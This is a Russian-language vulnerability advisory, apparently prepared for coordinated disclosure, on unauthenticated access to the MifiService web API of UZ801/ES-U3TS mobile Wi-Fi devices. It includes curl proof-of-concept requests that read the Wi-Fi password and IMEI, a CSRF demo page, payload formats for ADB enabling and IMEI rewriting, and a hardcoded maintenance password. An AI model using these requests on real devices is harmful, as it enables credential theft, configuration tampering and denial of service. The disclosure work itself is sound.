
Security advisory, описывающий нарушенный контроль доступа в веб-API MifiService устройств UZ801/ES-U3TS, позволяющий неавторизованное извлечение данных, изменение конфигурации и перезагрузку устройства. Включает PoC и меры по смягчению последствий.
Охранный бюллетень и технические заметки о проблеме нарушенного контроля доступа во встроенном веб-интерфейсе управления API, предоставляемом MifiService.apk на OEM / white-label платформе мобильного Wi-Fi UZ801_v2.1 4G LTE, также встречающейся на рынке под названием ES-U3TS.
Этот репозиторий предназначен для поддержки скоординированного раскрытия информации и присвоения CVE. Он сосредоточен на воспроизводимых, не-вейпонизированных технических доказательствах.
Затронутое устройство предоставляет конечную точку управления HTTP на базе Jetty по адресу:
http://192.168.100.1/ajax
Диспетчер запросов бэкенда реализован в:
com.mifiservice.server.AjaxSevlet
Хотя веб-интерфейс отображает страницу входа, бэкенд не обеспечивает действительную аутентифицированную серверную сессию для большинства функций управления. В результате злоумышленник в соседней сети может напрямую вызывать чувствительные операции funcNo без аутентификации.
Подтвержденное воздействие включает:
Дополнительные функции высокого риска были подтверждены статическим анализом, включая:
Протестированное оборудование, по-видимому, относится к семейству устройств OEM / white-label. Точный первоначальный разработчик в настоящее время неизвестен, и надежный контакт службы безопасности вендора пока не установлен.
Поэтому в данном бюллетене используется следующее наименование продукта:
UZ801_v2.1ES-U3TSUZ801-V3.4.3MifiService.apkcom.mifiservice.helloЕсли будут обнаружены дополнительные бренды или реселлеры, поставляющие ту же прошивку, APK, веб-ресурсы и поведение funcNo, их следует рассматривать как вероятно затронутые варианты той же кодовой базы.
/ajaxMifiService.apkcom.mifiservice.server.AjaxSevletЭто не в первую очередь проблема с учетными данными по умолчанию.
Основная причина — нарушенный контроль доступа в бэкенд-API:
OriginRefererФункция входа существует, но она не обеспечивает значимых границ авторизации для большей части API управления.
Основной вектор атаки:
Вторичный вектор атаки:
По умолчанию это не удаленная атака, доступная из интернета. Злоумышленник должен либо:
192.168.100.1, либоВсе приведенные ниже выводы включены как затронутая функциональность той же проблемы нарушенного контроля доступа.
Где это уместно, каждый пункт явно помечен как:
Проверено вживуюПодтверждено статическим анализомЭто различие сохранено для точности. Функциональность высокого риска не помечается как протестированная вживую, если она намеренно не выполнялась на публичном оборудовании.
| funcNo | Описание | Статус | Примечания |
|---|
На момент написания устройство, по-видимому, продается через каналы OEM / реселлеров с непоследовательным или отсутствующим брендированием, и надежный контакт с первоначальным разработчиком не установлен.
Приведенные ниже примеры намеренно ограничены операциями только для чтения или низкорисковой проверкой. Они включены для демонстрации уязвимости без предоставления вейпонизированного рабочего процесса эксплуатации.
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1002}' \
http://192.168.100.1/ajax
Ожидаемое поведение:
ssidpwd в открытом видеcurl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1029}' \
http://192.168.100.1/ajax
Ожидаемое поведение:
imeifwversionЧтение текущего языка:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1030}' \
http://192.168.100.1/ajax
Установка языка:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1031,"Language":"Chinese"}' \
http://192.168.100.1/ajax
Восстановите исходное значение после этого.
Эта конечная точка не обеспечивает состояние сессии или проверку Origin / Referer. Поэтому браузер подключенной жертвы может быть использован для отправки фоновых запросов.
Минимальная демонстрационная страница:
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({funcNo: 1002})
});
</script>
Этот пример намеренно ограничен номером функции только для чтения. Не развертывайте его против пользователей или производственных устройств.
Следующие форматы JSON задокументированы только для защитного анализа и триажа. Они не сопровождаются здесь шагами выполнения.
2001 - включение скрытых отладочных интерфейсов{"funcNo":2001}
Наблюдаемое поведение в коде:
setprop persist.sys.usb.config rndis,serial_smd,diag,adbsync2004 - путь перезаписи IMEI{"funcNo":2004,"imei":"<redacted-test-value>"}
Наблюдаемое поведение в коде:
AT+WRIMEI=<value>Никакой публичный живой тест здесь не включен из-за юридических, комплаенс-проблем и проблем целостности устройства.
1002{
"results": [
{
"dns1": "8.8.8.8",
"ssid": "4G-UFI-8E1",
"dns2": "8.8.8.8",
"mask": "255.255.255.0",
"pwd": "1234567890",
"wlan_ip": "192.168.100.1",
"IP": "192.168.100.1"
}
],
"error_info": "none",
"flag": "1"
}
1029{
"results": [
{
"manufacture": "Qualcomm Technology",
"dbm": "",
"fwversion": "V3.4.3",
"imei": "863993064154463"
}
],
"error_info": "none",
"flag": "1"
}
Эта проблема является сильным кандидатом на CVE, потому что она:
Предлагаемая классификация:
CWE-306 Отсутствие аутентификации для критической функцииCWE-862 Отсутствие авторизацииПредлагаемый CVSS:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2026-05-112026-05-122026-05-122026-05-12funcNo без аутентификацииOrigin и RefererЭтот репозиторий предназначен для защитных исследований, раскрытия уязвимостей и координации. Публичные примеры намеренно ограничены низкорисковой проверкой. Функциональность высокого риска задокументирована только в той степени, которая необходима для исправления и триажа CVE.
| funcNo | Описание | Статус | Примечания |
|---|
1002 | Чтение SSID, IP устройства, DNS, пароля Wi-Fi | Проверено вживую | Возвращает пароль Wi-Fi в открытом виде |
1009 | Чтение режима шифрования Wi-Fi и пароля | Проверено вживую | Возвращает пароль Wi-Fi в открытом виде |
1011 | Чтение диапазона DHCP, DNS, списка клиентов | Проверено вживую | Полезно для локальной разведки |
1015 | Чтение статуса SIM | Проверено вживую | Возвращает состояние SIM |
1029 | Чтение IMEI, прошивки, производителя, информации о сигнале | Проверено вживую | Возвращает чувствительную идентичность устройства |
1052 | Чтение режима MAC-фильтра и настроенных записей | Проверено вживую | Раскрывает политику и настроенные слоты |
2002 | Чтение активного слота SIM | Проверено вживую | Раскрывает состояние выполнения |
| funcNo | Описание | Статус | Примечания |
|---|
1004 | Изменение режима подключения | Подтверждено статически | Наблюдение за отсутствием принудительной сессии |
1005 | Изменение предпочтительного режима сети | Подтверждено статически | Высокое операционное воздействие |
1007 | Изменение SSID / максимального количества станций | Подтверждено статически | Сохраняет конфигурацию и перезапускает логику AP |
1010 | Изменение режима шифрования Wi-Fi / пароля | Подтверждено статически | Высокое воздействие на конфиденциальность |
1012 | Изменение настроек, связанных с DHCP/DNS | Подтверждено статически | Вмешательство в локальную сеть |
1016/1017/1018 | Чтение / установка / переключение профиля APN | Подтверждено статически | Изменение поведения WAN |
1031 | Изменение языка и сохранение | Проверено вживую | Используется как низкорисковое доказательство доступа на запись |
1053/1054/1055 | Изменение поведения и записей MAC-фильтра | Подтверждено статически | Вмешательство в контроль доступа к сети |
| funcNo | Описание | Статус | Примечания |
|---|
1013 | Перезагрузка устройства | Проверено вживую | DoS / прерывание обслуживания |
1014 | Сброс конфигурации приложения/сети и перезагрузка | Проверено вживую | Не полное стирание пользовательских данных Android |
2000 | Перезагрузка в загрузчик | Проверено вживую | Высокое операционное воздействие |
2001 | Включение скрытой конфигурации USB ADB/Diag и перезагрузка | Подтверждено статически | Опасный путь обслуживания |
2003 | Скрытый путь обслуживающего пароля | Подтверждено статически | Использует жестко заданный admin8888; поведение выглядит частичным / остаточным |
2004 | Перезапись IMEI | Подтверждено статически | Вызывает путь AT-команд; публично не выполнялось |